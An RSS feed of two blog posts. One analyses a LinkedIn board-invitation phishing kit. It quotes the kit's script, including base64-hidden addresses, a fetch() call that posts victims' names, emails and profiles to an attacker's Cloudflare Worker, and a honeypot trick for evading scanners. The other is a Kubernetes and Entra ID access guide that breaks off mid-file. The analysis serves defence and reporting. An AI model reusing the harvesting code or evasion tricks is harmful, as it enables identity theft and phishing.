<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Karim Moussa on Medium]]></title>
        <description><![CDATA[Stories by Karim Moussa on Medium]]></description>
        <link>https://medium.com/@kmoussa?source=rss-5266ae0c4640------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*FHwsiDqk1bpW2_pKmAgfZw.png</url>
            <title>Stories by Karim Moussa on Medium</title>
            <link>https://medium.com/@kmoussa?source=rss-5266ae0c4640------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 11:42:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kmoussa/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I was offered a board seat on LinkedIn. It was a phishing kit.]]></title>
            <link>https://medium.com/@kmoussa/i-was-offered-a-board-seat-on-linkedin-it-was-a-phishing-kit-e156d13f04a5?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/e156d13f04a5</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linkedin]]></category>
            <category><![CDATA[kit]]></category>
            <category><![CDATA[phishing-attacks]]></category>
            <category><![CDATA[phishing]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Tue, 17 Nov 2026 09:27:37 GMT</pubDate>
            <atom:updated>2026-11-17T09:27:37.472Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fm3dB_ywZ6sS5so50gh-ag.png" /></figure><h3>The message</h3><p>On Monday afternoon I got a LinkedIn message titled “Confidential Board Appointment, Strada Global”. The sender introduced herself as a Senior Talent Acquisition Specialist writing on behalf of the company. They were forming a small advisory board for their “AI-for-talent agenda”, and my background in fintech and cloud-native architecture could be useful to it.</p><p>There was a PDF attached. According to the message it set out the mandate, the responsibilities and the process, and included a link to schedule a required 30-minute conversation. The message closed by asking me to keep the matter confidential.</p><p>I had my doubts straight away, for three reasons.</p><p>First, board and advisory seats are not usually sourced by a talent acquisition specialist through a cold message. They come from a CEO, a chair or a retained search firm.</p><p>Second, the reason given for choosing me was generic. “Fintech and cloud-native architecture” can be lifted from my profile in seconds, and it has no obvious connection to an HR technology board.</p><p>Third, the request for confidentiality. In a real process that is normal. In a scam it has a second job, which is to stop you asking a colleague whether this looks right.</p><p>None of that is proof. So I decided to check, one layer at a time, and stop as soon as something gave a clear answer.</p><h3>Step 1: the sender’s profile</h3><p>The profile looked completely legitimate. It had years of activity, posts going back a long time, and a steady history of job adverts for the same company. It was not a two-week-old account with a stock photo.</p><p>This is the point where most people stop, and I understand why. A real profile feels like a real message.</p><p>It is not the same thing. A profile tells you the account is genuine. It does not tell you who is typing today. Accounts get taken over, and an old account with real history is worth far more to an attacker than a new fake one, precisely because it passes this check.</p><p>So the profile raised my confidence that the person exists and did nothing for my confidence in the message. The attachment was the next thing to look at.</p><h3>Step 2: the PDF, in a sandbox</h3><p>I did not open the PDF in a normal viewer on my working machine. I moved it to an isolated environment and read its structure with a script. A PDF is a set of objects, and you can list the dangerous ones without rendering a single page.</p><p>These are the things worth checking, and why:</p><ul><li>/OpenAction and /AA run something automatically when the file or a page opens.</li><li>/JS and /JavaScript mean the file carries script.</li><li>/Launch can start an external program.</li><li>/EmbeddedFile means another file is hidden inside.</li><li>/URI is a link. It does nothing until you click it.</li></ul><p>A few lines of Python with pypdf are enough to pull the text, the metadata and every link target:</p><pre>from pypdf import PdfReader</pre><pre>r = PdfReader(&quot;suspicious.pdf&quot;)<br>print(r.metadata)<br>for page in r.pages:<br>    print(page.extract_text())<br>    for a in page.get(&quot;/Annots&quot;, []) or []:<br>        action = a.get_object().get(&quot;/A&quot;)<br>        if action:<br>            print(&quot;LINK:&quot;, dict(action.get_object()))</pre><p>This is what came back.</p><p>The file had no JavaScript, no automatic actions, no embedded files and no launch commands. Opening it would have been harmless.</p><p>It also had none of the content the message promised. No mandate, no responsibilities, no process. The whole document was one page with a heading, two sentences and a single link:</p><pre>S T R A D A  G L O B A L<br>Board Member Opportunity<br>For further information about the board member role, remuneration and benefits,<br>and to arrange an introductory call, please visit the link below.<br>M O R E  I N F O R M A T I O N<br>hxxps://zpr[.]io/vBuacvvLzqRi</pre><p>Two details in the metadata stood out. The PDF was produced by printing a web page from Chrome, not exported from a document tool. And it was created at 14:18 Madrid time. The message reached me at 14:55. That is 37 minutes. The timing fits a template filled in for each target, not a document a board prepared.</p><p>One warning if you try this yourself. My first quick check was a plain byte search of the file, and it reported three /AA entries, which would mean automatic actions. They turned out to be part of a font name, /AAAAAA+Arial-BoldMT. Search the parsed objects, not the raw bytes, or you will chase false alarms.</p><p>So the PDF was not the weapon. Its only job was to make me click a link, and the link was a shortener that hides where it goes.</p><h3>Step 3: following the link without visiting it</h3><p>A shortened link is a redirect. You can ask the shortener where it points without loading the destination, by requesting only the headers and not following the redirect:</p><pre>curl -sI &quot;https://&lt;short-link&gt;&quot;</pre><p>-I asks for headers only and -s keeps the output quiet. Because curl does not follow redirects unless you add -L, the answer is the shortener&#39;s own response, and the Location header shows the real destination. I ran this from the sandbox, not from my own network.</p><p>The response was a 302 Found pointing here:</p><pre>hxxps://sites[.]google[.]com/view/strada-global-board-member/strada-global-board-member</pre><p>That confirmed my concerns. The company has its own domain. A board appointment process run by that company would live on it, or on a known scheduling or recruitment platform under the company’s account. This was a free Google Sites page that anyone with a Google account can create in a few minutes, and it had the company’s name in the path to look official.</p><p>One caution about this step. A link like this can be unique to each recipient, so requesting it may tell the sender that the target is alive and curious. I accepted that. If you would not, stop at the PDF and report it.</p><p>At this point I had enough to call it phishing. I kept going because I wanted to know what it was built to take.</p><h3>Step 4: the page source</h3><p>I opened the page in a disposable VM with a clean browser profile, no saved logins and no password manager, saved the source, and reverted the VM. Then I read the source as text.</p><h3>The page that looks empty</h3><p>The first surprise was that the page source contained almost nothing about a board role. A tool that only fetches the page sees a title, a “Search this site” box and a heading that says “Embedded Files”.</p><p>The real content was somewhere else. Google Sites lets an author paste custom HTML into an “embed” block. The whole of that HTML is stored inside one attribute of the page, called data-code, with every &lt; and &quot; escaped. The browser unpacks it and runs it in a separate frame served from a Google content domain.</p><p>The effect is that the phishing page is hidden in plain sight. A scanner that reads the page text finds nothing to flag. Only a browser, or someone who unescapes that attribute by hand, sees what the visitor sees. Unescaped, it was 307 lines of HTML, CSS and JavaScript.</p><h3>A template built to be rebranded</h3><p>Near the top of the script was this block, with the author’s own comment left in:</p><pre>/* -- EDIT THIS BLOCK TO REBRAND -- */<br>var CONFIG = {<br>  name: &#39;Strada Global&#39;,<br>  wordmark: &#39;Strada&#39;,<br>  suffix: &#39;People, Payroll and Technology Solutions&#39;,<br>  ink: &#39;#00395d&#39;,<br>  accent: &#39;#00aeef&#39;<br>};</pre><p>This is a kit. Whoever runs it changes five values and has a new campaign for a new company.</p><h3>Another company’s name was still there</h3><p>The static HTML underneath did not say Strada at all:</p><pre>&lt;title&gt;Board Adviser · Barclays Investment Bank&lt;/title&gt;<br>&lt;meta name=&quot;description&quot;<br>      content=&quot;Confidential board appointment with Barclays Investment Bank.&quot;&gt;<br>&lt;span class=&quot;wm-mark&quot; data-brand=&quot;wordmark&quot;&gt;BARCLAYS&lt;/span&gt;<br>&lt;span class=&quot;wm-sub&quot; data-brand=&quot;suffix&quot;&gt;Investment Bank&lt;/span&gt;</pre><p>When the page loads, a small function walks over every element marked data-company or data-brand and overwrites its text with the values from CONFIG. It also rewrites the page title and the description.</p><pre>document.querySelectorAll(&#39;[data-company]&#39;)<br>  .forEach(function (el) { el.textContent = CONFIG.name; });<br>document.title = &#39;Board Adviser · &#39; + CONFIG.name;</pre><p>A visitor only ever sees “Strada Global”. The source shows that the same page was written for, or already used in, a campaign in the name of Barclays Investment Bank. Both companies are real and neither has anything to do with this.</p><h3>What the visitor sees</h3><p>The rendered page is well written. It describes an advisory board that meets four times a year, a two-year term, a fee, responsibilities and a candidate profile. It ends with a “Register interest” button.</p><p>The button opens a form under a recruiter brand called “Jointheteam”. It asks for three things: full name, email address and LinkedIn profile URL. There is no password field. Under the form it says the 30-minute meeting is required to complete the application.</p><h3>Step 5: where the data goes</h3><p>The form does not post to Google, and it does not post to anything that looks like the company. The destination is not even written in the code as an address. It is stored as two base64 strings:</p><pre>var WORKER_URL_B64 = &#39;aHR0cHM6Ly9ib2FyZC5pY2xvdWQtNWMyLndvcmtlcnMuZGV2Lw==&#39;;<br>var PART2_B64 = &#39;aHR0cHM6Ly9zaXRlcy5nb29nbGUuY29tL3ZpZXcvc2NoZWR1bGUtdGhl...&#39;;</pre><p>Base64 is not encryption. It is a way of writing bytes as letters, and anyone can reverse it:</p><pre>echo &#39;aHR0cHM6Ly9ib2FyZC5pY2xvdWQtNWMyLndvcmtlcnMuZGV2Lw==&#39; | base64 -d</pre><p>The reason to use it here is that security scanners look for URLs in page source. A string of letters with no https:// in it does not match. The browser decodes it at run time with atob(), at the moment the form is submitted.</p><p>Decoded, the two values are:</p><pre>hxxps://board[.]icloud-5c2[.]workers[.]dev/<br>hxxps://sites[.]google[.]com/view/schedule-the-meeting/schedule-the-meeting</pre><p>The first is a Cloudflare Worker, a small serverless program on a free developer subdomain. That is the collection point. The second is another Google Sites page, the next stage.</p><p>This is the code that sends the data:</p><pre>var res = await fetch(atob(WORKER_URL_B64), {<br>  method: &#39;POST&#39;,<br>  headers: { &#39;content-type&#39;: &#39;application/json&#39; },<br>  body: JSON.stringify({<br>    name:     document.getElementById(&#39;name&#39;).value.trim(),<br>    email:    document.getElementById(&#39;email&#39;).value.trim(),<br>    linkedin: document.getElementById(&#39;linkedin&#39;).value.trim(),<br>    roles:    [/* the ticked role boxes */],<br>    emailMe:  document.getElementById(&#39;emailMe&#39;).checked,<br>    terms:    true,<br>    website:  document.getElementById(&#39;website&#39;).value,<br>    elapsed:  Date.now() - started<br>  })<br>});</pre><p>The LinkedIn field is validated before sending. The script rejects anything that is not a real linkedin.com URL. So what the operator receives is a clean record for each victim: a name, a working email address and a confirmed profile.</p><p>The Worker answers with a reference ID. The script attaches that ID to the second address and opens it in a new tab. Slightly simplified, the function is:</p><pre>function part2Url(ref) {<br>  var base = atob(PART2_B64);<br>  return base + &#39;?role=board-adviser&amp;ref=&#39; + encodeURIComponent(ref);<br>}</pre><p>The ID ties whatever happens on the next page to the person who filled in the form.</p><h3>Step 6: the parts built to avoid being caught</h3><p>Two fields in that payload are not about me at all. They are website and elapsed.</p><p>website is a form field that no human ever sees. It sits inside a container that is pushed far off the screen:</p><pre>&lt;style&gt;<br>  .hp{position:absolute;left:-9999px;width:1px;height:1px;overflow:hidden}<br>&lt;/style&gt;</pre><pre>&lt;div class=&quot;hp&quot; aria-hidden=&quot;true&quot;&gt;<br>  &lt;label for=&quot;website&quot;&gt;Website&lt;/label&gt;<br>  &lt;input id=&quot;website&quot; name=&quot;website&quot; type=&quot;text&quot; tabindex=&quot;-1&quot; autocomplete=&quot;off&quot;&gt;<br>&lt;/div&gt;</pre><p>left:-9999px moves it out of view, aria-hidden hides it from screen readers, and tabindex=&quot;-1&quot; stops the Tab key from reaching it. A person cannot fill it in. An automated tool that fills every field it finds will. This is called a honeypot field. Legitimate sites use it to block spam bots. Here it is turned around: it lets the operator recognise security scanners and researchers.</p><p>elapsed is the number of milliseconds between the page loading and the form being submitted. A person takes a minute to type three fields. A script takes a fraction of a second.</p><p>Both values are sent to the Worker with the rest. I could not see the Worker’s code, so I cannot say what it does with them. The reasonable reading is that a submission that fills the hidden field, or arrives too fast, gets a harmless answer and never sees the next stage. That would also explain why an automated check of the Worker address on its own may show nothing suspicious.</p><p>The page is also marked noindex, so it never shows up in a search engine. For a page that claims to be a public company&#39;s recruitment notice, that is a strange choice.</p><h3>The whole chain</h3><p>Put together, this is the path a victim follows:</p><ol><li>A LinkedIn message arrives from a real, long-standing recruiter account, most likely a hijacked one.</li><li>The attached PDF contains nothing except a shortened link.</li><li>The shortener redirects to a free Google Sites page carrying the company’s name.</li><li>The page content is hidden inside an embed, so scanners see an empty page.</li><li>A convincing role brief leads to a form asking for name, email and LinkedIn URL.</li><li>The form sends those details to a Cloudflare Worker whose address is base64-encoded in the script.</li><li>The Worker returns a reference ID and the victim is sent to a second Google Sites page to “schedule the mandatory 30-minute call”.</li></ol><p>Every service in that chain is free, quick to set up and hosted on a domain that corporate filters trust: a URL shortener, Google Sites and a Cloudflare developer subdomain. Nothing in it touches the real company’s domain.</p><h3>What I did not look at</h3><p>I stopped before the second page. Going further meant submitting the form, and I did not want to hand over even fake details without a better reason.</p><p>So I do not know what the scheduling stage does. The first stage takes identity, not passwords. From what has been published about similar board-invitation campaigns, the follow-up is often a fake sign-in page, or a staged call that asks for more. I have no evidence of which one this is, and I am not going to guess.</p><h3>Indicators, for anyone who wants to block or hunt</h3><p>These are written “defanged”, with hxxps and [.], so nobody opens them by accident. Put them back to normal before using them in a filter or a search.</p><pre>Short link (inside the PDF)<br>  hxxps://zpr[.]io/vBuacvvLzqRi</pre><pre>Landing page (fake role brief and form)<br>  hxxps://sites[.]google[.]com/view/strada-global-board-member/strada-global-board-member</pre><pre>Collection endpoint (receives name, email, LinkedIn URL)<br>  hxxps://board[.]icloud-5c2[.]workers[.]dev/</pre><pre>Next stage (&quot;schedule the meeting&quot;)<br>  hxxps://sites[.]google[.]com/view/schedule-the-meeting/schedule-the-meeting</pre><pre>Attachment<br>  Strada Global _ Board Member Opportunity.pdf, 73,141 bytes<br>  SHA-256 54e1e1a2fe5a03904378e35e3fb35fbeebd6bb71e411d5f6120b0bd2fb147dbe</pre><p>A practical note on blocking. Do not block sites.google.com or workers.dev as a whole. A huge amount of legitimate work runs on them and you will break it. Block the exact page addresses and the attacker&#39;s own subdomain, which here is board[.]icloud-5c2[.]workers[.]dev.</p><p>The addresses above are specific to this run. The kit is designed to be re-pointed in minutes, so the patterns are worth more than the addresses:</p><ul><li>A document whose only content is one link.</li><li>A link that goes through a shortener to a free hosting platform.</li><li>A page whose real content sits inside an embed.</li><li>A form that posts personal details to a different free hosting domain.</li><li>An address in the script that only appears after decoding.</li></ul><h3>Reporting it</h3><p>I reported each piece to the party that can remove it:</p><ul><li><strong>LinkedIn:</strong> the message, as phishing. The account needs securing and other recipients need warning.</li><li><strong>Google:</strong> both Sites pages, through the “Report abuse” link at the bottom of the page and through the Safe Browsing report form.</li><li><strong>Cloudflare:</strong> the Worker, through their abuse form, with the code excerpt showing the encoded address and the POST. That context matters, because a reviewer who simply visits the Worker may see nothing.</li></ul><p>I also want to be clear about the people involved. Strada Global is a real company and is being impersonated. So is Barclays. The recruiter whose account sent the message is, in all likelihood, a victim as well, which is why I have not named her.</p><h3>What I would check next time, in order</h3><p>You do not need a sandbox for most of this. The first three checks take a minute and would have been enough here.</p><ol><li><strong>Does the attachment contain what the message says it contains?</strong> A “brief” that turns out to be a single link is a warning sign.</li><li><strong>Where does the link really go?</strong> If it is a shortener, or the destination is not the company’s own domain, stop.</li><li><strong>Will the sender email you from a company address?</strong> Ask. A real recruiter can do it in two minutes.</li><li><strong>Does the profile’s history match the request?</strong> A recruiter who posts ordinary job adverts for years and then privately offers a board seat is out of pattern.</li><li><strong>Is anything asking you to sign in?</strong> If a page reached through a message asks for your Microsoft or Google password, close it.</li></ol><p>A genuine profile does not prove a genuine message. The profile check is where most people stop, and it is the reason I am writing this down.</p><p>If you received the same message, do not fill in the form, and report it. If you already filled it in, expect follow-up contact that uses the details you gave, and treat any sign-in page that follows with suspicion.</p><h3>Further reading</h3><ul><li><a href="https://www.bleepingcomputer.com/news/security/linkedin-phishing-targets-finance-execs-with-fake-board-invites/">BleepingComputer: LinkedIn phishing targets finance execs with fake board invites</a></li><li><a href="https://www.privatedirectors.org/news/member-advisory-director-alert-recruiting-impersonation-scams">Private Directors Association: Director alert on recruiting and impersonation scams</a></li><li><a href="https://www.fortra.com/blog/cloudflares-pagesdev-and-workersdev-domains-increasingly-abused-phishing">Fortra: Cloudflare’s pages.dev and workers.dev domains increasingly abused for phishing</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e156d13f04a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Giving Developers Access to On-Prem Kubernetes and Ubuntu VMs with Entra ID]]></title>
            <link>https://medium.com/@kmoussa/giving-developers-access-to-on-prem-kubernetes-and-ubuntu-vms-with-entra-id-99f3ca91e5bd?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/99f3ca91e5bd</guid>
            <category><![CDATA[ubuntu]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[entra-id]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Sun, 18 Oct 2026 21:56:12 GMT</pubDate>
            <atom:updated>2026-10-18T21:56:12.133Z</atom:updated>
            <content:encoded><![CDATA[<p><em>One Entra identity for kubectl and SSH on a private cluster, with no AD sync and no second account per developer.</em></p><h3>The problem</h3><p>I needed to give our developers access to their own dev namespaces on an on-prem Kubernetes cluster, and my first instinct was to wire the cluster to our domain controllers. That turned out to be the wrong door.</p><p>Here is what our environment actually looks like. Almost all of our users are cloud-only accounts in Microsoft Entra ID. We also have two domain controllers on-prem, and they have never been synced to Entra. The cluster is private: the API server has no public endpoint, and developers reach it over the VPN.</p><p>Until now the only way into the cluster was the admin kubeconfig that kubeadm generates. That file is a client certificate with full cluster-admin rights, it cannot be revoked per person, and it does not tell you who ran a command. Handing it to developers was never an option.</p><p>What I wanted was simple to say:</p><ul><li>Developers log in with the same Entra account and MFA they use for everything else.</li><li>Each team gets full control of its own dev namespace and nothing outside it.</li><li>The same Entra account gets them into our Ubuntu VMs over SSH, with no Linux accounts to create by hand.</li><li>When someone leaves, disabling them in Entra is enough.</li><li>The audit log shows a real person, not “kubernetes-admin”.</li></ul><p>This post is the full build, step by step, with every file and command I used. It is written for a kubeadm cluster, but the Entra and RBAC parts apply to any distribution.</p><h3>Why Entra ID and not the domain controllers</h3><p>Kubernetes has no native LDAP or Active Directory support. To use the DCs, I would have had to put a broker such as Dex or Pinniped in front of the API server, and that broker would talk LDAP to AD. That works, but in our case it has a bigger problem: the developers do not have AD accounts, because their identities live in Entra and the DCs are not synced. I would have ended up creating a second account for every developer, with a second password and a second place to remember during offboarding.</p><p>Kubernetes does natively support OpenID Connect (OIDC), and Entra ID is an OIDC provider. So the API server can trust Entra directly, with no broker, no sync, and no second identity. The domain controllers are simply not in the path.</p><p>The flow, once it is built:</p><ol><li>The developer runs any kubectl command. kubectl calls a small plugin, kubelogin, to get a token.</li><li>kubelogin opens the browser on the Entra sign-in page. Entra applies its normal policies, including MFA.</li><li>Entra returns a signed ID token. It carries the user’s name and the object IDs of their Entra groups.</li><li>kubectl sends that token to the API server as a bearer token, over the VPN.</li><li>The API server checks the token’s signature against Entra’s public signing keys, which it downloads from Entra. This is the only outbound call the cluster makes, and it matters on a private cluster (Step 3 covers it).</li><li>If the token is valid, RBAC looks at the groups. A RoleBinding in the team’s namespace says what that group may do there.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EGwh0KFlAUBncVBQX1HkaQ.png" /><figcaption>Authentication flow</figcaption></figure><p>The numbers match the list above. Only one connection leaves the private network, and the domain controllers are not part of the flow at all.</p><p>The important split is that authentication (who are you) is done by Entra, and authorization (what may you do) is done by Kubernetes RBAC. Entra never knows about namespaces, and Kubernetes never stores a password.</p><h3>What you need before you start</h3><p>On the cluster side:</p><ul><li><strong>Kubernetes 1.30 or later.</strong> I use the structured authentication configuration file, which went beta in 1.30 and became stable (GA) in 1.34 (<a href="https://www.kubernetes.dev/resources/keps/3331/">KEP-3331</a>). On older versions you can use the --oidc-* flags instead. The ideas are the same, but the file is easier to read and the API server reloads it without a restart.</li><li><strong>A kubeadm-built cluster</strong> with SSH access to every control-plane node. You will edit the API server’s static pod.</li><li><strong>The admin kubeconfig</strong> (/etc/kubernetes/admin.conf), to create namespaces and RoleBindings. After this setup it becomes break-glass only.</li><li><strong>Outbound HTTPS from the control-plane nodes to </strong><strong>login.microsoftonline.com</strong>, either directly or through a proxy. On a private cluster this is the one firewall change you need. Step 3 explains why.</li></ul><p>On the Entra side:</p><ul><li><strong>Rights to register an application and create security groups.</strong> Application Administrator plus Groups Administrator is enough, or ask whoever holds them.</li><li><strong>Entra ID P1 is optional.</strong> You only need it for the two extras I mention later: assigning groups to the app (to avoid the group overage problem) and Conditional Access.</li></ul><p>On each developer’s machine:</p><ul><li>kubectl</li><li>The kubelogin plugin (Step 5)</li><li>A browser</li><li>A network path to the API server, which in my case is the VPN</li></ul><p>I also use jq and the Azure CLI (az) in a few places. Both are optional; everything they do can be done in the portal.</p><h3>Step 1: Register the cluster as an application in Entra ID</h3><p>The API server needs to know which tokens are meant for it. In OIDC terms, the cluster is a “client”, and every token Entra issues for it carries the client’s ID in its audience (aud) claim. So the first job is to create that client.</p><h3>1.1 Create the app registration</h3><p>In the Microsoft Entra admin center, open <strong>App registrations</strong> and choose <strong>New registration</strong>.</p><ul><li><strong>Name:</strong> something you will recognise in a year, for example k8s-onprem-dev.</li><li><strong>Supported account types:</strong> <em>Accounts in this organizational directory only</em>. This keeps guests and other tenants out by design.</li><li><strong>Redirect URI:</strong> platform <em>Public client/native (mobile &amp; desktop)</em>, value <a href="http://localhost:8000.">http://localhost:8000.</a></li></ul><p>The redirect URI is where Entra sends the browser back after sign-in. kubelogin starts a tiny web server on your laptop on port 8000 to catch that redirect, which is why it is localhost. After creating the app, add a second redirect URI, http://localhost:18000. kubelogin falls back to that port when 8000 is busy.</p><p>From the app’s <strong>Overview</strong> page, copy two values. You will use them everywhere from here on:</p><ul><li><strong>Application (client) ID</strong>, which I will call &lt;CLIENT_ID&gt;</li><li><strong>Directory (tenant) ID</strong>, which I will call &lt;TENANT_ID&gt;</li></ul><h3>1.2 Make it a public client</h3><p>Under <strong>Authentication</strong>, set <strong>Allow public client flows</strong> to <strong>Yes</strong>.</p><p>A “public client” is an app that runs on a user’s machine and cannot keep a secret. kubectl on a laptop is exactly that. Without this setting, Entra expects a client secret, and you would have to hand the same secret to every developer, which defeats the point. kubelogin uses PKCE instead, a one-time proof generated per login. Enabling public client flows also allows the device code flow, which is useful on a jump box with no browser.</p><h3>1.3 Put the groups in the token</h3><p>Under <strong>Token configuration</strong>, choose <strong>Add groups claim</strong>, tick <strong>Security groups</strong>, and for the <strong>ID</strong> token keep <strong>Group ID</strong>.</p><p>This is what makes namespace access work. Without it the token says who the user is but not which teams they belong to, and RBAC would have to list every developer by name.</p><p>One detail worth knowing early: for cloud-only groups, the token contains the group’s <strong>object ID</strong> (a GUID), not its name. The options to emit names, such as <em>sAMAccountName</em>, only work for groups synced from on-prem AD, which ours are not. So your RoleBindings will reference GUIDs. That is less readable, but it is safer, because anyone can create a group with a familiar name, while an object ID cannot be reused.</p><h3>1.4 Optional: avoid the group overage problem</h3><p>If a user belongs to more than 200 groups, Entra drops the groups claim from the ID token and replaces it with a pointer to the Microsoft Graph API. Kubernetes cannot follow that pointer, so that user would authenticate but get no group permissions.</p><p>Developers rarely hit this. If yours might, open the app’s <strong>Enterprise application</strong> entry, set <strong>Assignment required</strong> to <strong>Yes</strong>, assign the Kubernetes groups to the app, and in the groups claim choose <strong>Groups assigned to the application</strong>. The token then carries only the groups that matter to this cluster. Assigning groups to an app requires Entra ID P1.</p><h3>Step 2: Create one Entra group per namespace</h3><p>The rule I follow is <strong>one group per namespace per level of access</strong>. Permissions are granted to groups, never to individual users. Adding or removing a developer is then a membership change in Entra, and nobody needs to touch the cluster.</p><p>For this post I use two teams, each with a dev namespace:</p><ul><li>k8s-team-a-dev-edit gives edit rights in namespace team-a-dev</li><li>k8s-team-b-dev-edit gives edit rights in namespace team-b-dev</li><li>k8s-dev-readonly gives read-only rights in all dev namespaces (useful for leads and QA)</li></ul><p>Create them in the portal under <strong>Groups</strong>, with <strong>Group type</strong> set to <strong>Security</strong>, or with the Azure CLI:</p><pre>az login --tenant &lt;TENANT_ID&gt;</pre><pre>for g in k8s-team-a-dev-edit k8s-team-b-dev-edit k8s-dev-readonly; do<br>  az ad group create --display-name &quot;$g&quot; --mail-nickname &quot;$g&quot;<br>done</pre><p>Add the developers as members. Then collect the object IDs, because RBAC needs them:</p><pre>for g in k8s-team-a-dev-edit k8s-team-b-dev-edit k8s-dev-readonly; do<br>  echo &quot;$g  $(az ad group show --group &quot;$g&quot; --query id -o tsv)&quot;<br>done</pre><p>Keep that output in your notes. In the rest of this post I write them as &lt;GROUP_A_ID&gt;, &lt;GROUP_B_ID&gt; and &lt;GROUP_RO_ID&gt;.</p><p>Two more points:</p><ul><li><strong>Use assigned membership, not dynamic.</strong> Dynamic groups are tempting, but a badly written rule can quietly grant cluster access to the wrong people.</li><li><strong>Keep it flat.</strong> Nested groups do work, because the token includes transitive memberships, but they make it much harder to answer “who can touch team-a-dev?” during an audit.</li></ul><h3>Step 3: Teach the API server to trust Entra ID</h3><p>This is the part that touches the control plane. Do it on one control-plane node at a time, and <strong>keep an SSH session open on each node until you have confirmed the API server came back.</strong></p><h3>3.1 The private cluster detail: one door out</h3><p>A private cluster usually means nothing can reach the API server from the internet. That stays true. But to validate a token, the API server must check the token’s signature with Entra’s public signing keys, and it downloads those keys from Entra:</p><ul><li>the discovery document: https://login.microsoftonline.com/&lt;TENANT_ID&gt;/v2.0/.well-known/openid-configuration</li><li>the signing keys it points to: https://login.microsoftonline.com/&lt;TENANT_ID&gt;/discovery/v2.0/keys</li></ul><p>Both are on one host, so the firewall rule is small: <strong>allow outbound TCP 443 from the control-plane nodes to </strong><strong>login.microsoftonline.com</strong>. Nothing comes in, and worker nodes need nothing. Entra rotates its keys from time to time, and the API server refreshes them by itself, so this has to be a permanent rule and not a one-time download.</p><p>The browser sign-in itself happens on the developer’s laptop, which already has internet access. The cluster never sees the user’s password.</p><p>Test the door from each control-plane node before going further:</p><pre>curl -s https://login.microsoftonline.com/&lt;TENANT_ID&gt;/v2.0/.well-known/openid-configuration \<br>  | jq -r .issuer<br># expected: https://login.microsoftonline.com/&lt;TENANT_ID&gt;/v2.0</pre><p>If your nodes can only reach the internet through a proxy, the API server can use it. It honours the standard HTTPS_PROXY and NO_PROXY environment variables (3.3 shows where to set them). Be generous with NO_PROXY: the API server also talks to etcd, the kubelets and admission webhooks, and none of that traffic should go through a proxy.</p><p>If the cluster is fully air-gapped, with no way out at all, this design does not fit. In that case a broker such as <a href="https://dexidp.io/docs/guides/kubernetes/">Dex</a> or <a href="https://pinniped.dev/">Pinniped</a> in front of your on-prem AD is the realistic option, at the cost of the second identity I wanted to avoid.</p><h3>3.2 Write the authentication configuration file</h3><p>Create this file on <strong>every</strong> control-plane node at /etc/kubernetes/auth/authentication-config.yaml:</p><pre># Kubernetes 1.34+: apiserver.config.k8s.io/v1<br># Kubernetes 1.30 to 1.33: apiserver.config.k8s.io/v1beta1<br>apiVersion: apiserver.config.k8s.io/v1<br>kind: AuthenticationConfiguration<br>jwt:<br>- issuer:<br>    url: https://login.microsoftonline.com/&lt;TENANT_ID&gt;/v2.0<br>    audiences:<br>    - &lt;CLIENT_ID&gt;<br>  claimMappings:<br>    username:<br>      claim: preferred_username<br>      prefix: &quot;entra:&quot;<br>    groups:<br>      claim: groups<br>      prefix: &quot;entra:&quot;<br>    uid:<br>      claim: oid</pre><p>What each part does:</p><ul><li>issuer.url must match the iss claim inside the token exactly, character for character. The /v2.0 at the end matters. Without it you are talking about the old v1 endpoint, whose tokens have a different issuer (https://sts.windows.net/...), and every login fails with a vague 401.</li><li>audiences is your client ID. The API server rejects any token that was issued for a different app, even one from your own tenant. This is what stops a token for, say, a web app from being replayed against the cluster.</li><li>username is taken from preferred_username, which is the user&#39;s sign-in name (their UPN). It is readable in audit logs, which is why I use it. Microsoft advises against using it for authorization because it can change, and I don&#39;t: all permissions go to groups. If you do want to bind individual users, map the username to oid instead, which never changes.</li><li>prefix: &quot;entra:&quot; puts every Entra identity in its own namespace of names. A user called system:masters in Entra, however unlikely, becomes entra:system:masters, which means nothing to Kubernetes. Never leave the prefix empty.</li><li>uid maps the user&#39;s immutable object ID, so audit records can be tied to one person even if their UPN changes later.</li></ul><p>Lock the file down. It holds no secrets, but nobody except root should be able to change who the cluster trusts:</p><pre>sudo mkdir -p /etc/kubernetes/auth<br>sudo chown root:root /etc/kubernetes/auth/authentication-config.yaml<br>sudo chmod 600 /etc/kubernetes/auth/authentication-config.yaml</pre><h3>3.3 Point the API server at the file</h3><p>kubeadm runs the API server as a static pod, defined in /etc/kubernetes/manifests/kube-apiserver.yaml. The kubelet watches that file and restarts the pod whenever it changes. You need three edits: the flag, a volume mount, and the volume.</p><p>Back up the manifest first, <strong>outside</strong> the manifests directory. The kubelet treats every file in that directory as a pod, so a backup left there becomes a second API server:</p><pre>sudo cp /etc/kubernetes/manifests/kube-apiserver.yaml ~/kube-apiserver.yaml.bak</pre><p>Then edit the manifest:</p><pre>spec:<br>  containers:<br>  - command:<br>    - kube-apiserver<br>    # ... keep every existing flag ...<br>    - --authentication-config=/etc/kubernetes/auth/authentication-config.yaml<br>    # only if 